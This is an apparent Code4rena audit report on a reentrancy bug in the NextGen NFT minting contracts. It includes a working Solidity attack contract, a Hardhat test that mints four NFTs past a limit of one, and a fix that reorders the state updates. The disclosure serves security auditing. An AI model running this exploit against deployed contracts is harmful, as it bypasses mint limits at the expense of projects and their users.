NextGen - kk_krish's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/hardhat/smart-contracts/NextGenCore.sol#L195 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/hardhat/smart-contracts/NextGenCore.sol#L197

Vulnerability details

Impact

Contract affected: NextGenCore and NextGenMinterContract

In the method NextGenCore::mint the state variables tokensMintedAllowlistAddress[_collectionID][_mintingAddress] and tokensMintedPerAddress[_collectionID][_mintingAddress] which is responsible for tracking the no.of NFTs minted by an address are updated only after the _safeMint() method call, which is making the contract vulnerable to bypass the following checks for maxAllowance in NextGenMinterContract::mint contract through reentrancy.

The checks being bypassed: For whitelist mint Link to code require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");

For public mint Link to code require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

This issue will allow the attacker to mint more NFTs than the pre-defined value which was configured by the collection admin in collectionAdditionalData[_collectionID].maxCollectionPurchases and also _maxAllowance that was set in merkle tree leaves for whitelist minting.

How the attacker can re-enter?

Notice that the _safeMint() is being called before the state variable updation. The _safeMint() method has a function that checks for ERC721Receiver if the to address is a contract by calling the method onERC721Received.

So, by the following step an attacker can re-enter:

1. Deploy an attack contract(Codes are in PoC section)
2. Call the NextGenMinter::mint() method from the attack contract.
3. Now _safeMint() method will be called from NextGenCore::_mintProcessing()
4. From the _safeMint() method the onERC721Received will be called which is implemented in the attack contract.
5. From the onERC721Received the attacker will again call the NextGenMinter::mint() thus re-entering into the contract.
6. The above operations will be continued until a desired amount of NFT is minted.
7. Then finally the state variables are updated by just one value.

Proof of Concept

AttackMinter.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface MinterContract {
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable;
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}


contract AttackMinter {

    address attacker;
    address minter;
    uint256 hackCount;
    bytes32[] proof;

    modifier onlyAttacker() {
        require(msg.sender == attacker);
        _;
    }

    constructor(address _minter) {
        attacker = msg.sender;
        minter = _minter;
    }

    receive() external payable {}

    function attack(bytes32[] memory _proof) public onlyAttacker {
        proof = _proof;

        MinterContract(minter).mint{value: 1 ether}(
            1,
            1,
            1,
            '{"name":"nextgen"}',
            address(this),
            proof,
            address(0),
            0
        );
    }

    function onERC721Received(address to, address zero, uint256 id, bytes memory data) external returns(bytes4) {
        if(hackCount <= 2) {
            hackCount++;
            MinterContract(minter).mint{value: 1 ether}(
                1,
                1,
                1,
                '{"name":"nextgen"}',
                address(this),
                proof,
                address(0),
                0
            );
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

TestAttackMinter.js

Note: Both these test and contract code can be copy pasted to the same repo and run for testing.

    it.only('Attack minter contract', async () => {
      //Creating the collection
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );
      
      //Register collection Admin
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
      )

      //Set collection data
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        1, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      );

      //Set collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        ethers.parseEther("1"), // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        0, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      );

      // Set collection phases
      // Note: Currently, it is under whitelist phase
      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1796931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1696931278, // _publicEndTime
        "0x4d7aaffbc6ae5e19ad05c73a14c2611aded38f1ed27a0e7f9783bd91638b3dff", // _merkleRoot
      );

      //The merkle tree is constructed using the following data
      //const allowList = [
    //     '057ef64E23666F000b34aE31332854aCBd1c8544',
    //     '90F79bf6EB2c4f870365E785982E1f101E93b906'
      
    //   ];
      
    //   // number of spots per address
      
    //   const spots = [
    //     '0000000000000000000000000000000000000000000000000000000000000001',
    //     '0000000000000000000000000000000000000000000000000000000000000001'
    //   ];
      
    //   // extra info per address
      
    //   const txinfo = [
    //     '7B226E616D65223A226E65787467656E227D', // {"name":"nextgen"}
    //     '7B226E616D65223A226E65787467656E227D' // {"name":"nextgen"}
    //   ];

      const proof = [
        '0x61c3d0228d941599482928950a3185d1c16be967c323683c2bf2aa0b8dd80657'
      ]

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, `${await contracts.hhRandomizer.getAddress()}`,
      )

      // Add minter contract to the core contract
      await contracts.hhCore.addMinterContract(
        `${await contracts.hhMinter.getAddress()}`
      );

      const attackerContractAddress = await contracts.attackMinter.getAddress();

      // Fund the attack contract with ether for purchasing NFT
      await signers.addr3.sendTransaction({
        to: attackerContractAddress,
        value: ethers.parseEther("10"),
      });

      console.log('MaxAllowance count set in contract', await contracts.hhCore.viewMaxAllowance(1))
      console.log('Commencing re-entrancy attack....');
      await contracts.attackMinter.connect(signers.addr3).attack(proof);
      console.log('Attack completed!');
      console.log('Balance of attack contract after minting', await contracts.hhCore.balanceOf(attackerContractAddress));


    });

Logs from the above test

MaxAllowance count set in contract 1n
MaxAllowance spot set in merkle leaves 1
Commencing re-entrancy attack....
Attack completed!
Balance of attack contract after minting 4n

The _maxCollectionPurchases set in the collectionData and also the _maxAllowance spot set in the merkle tree both are 1. But the attacker can mint 4 NFTs.

Tools Used

Hardhat

Recommended Mitigation Steps

The recommended step is to update the state variables before calling _mintProcessing method in NextGenCore::Mint() method

Code:

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
           
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }

 _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }
    }

Assessed type

Reentrancy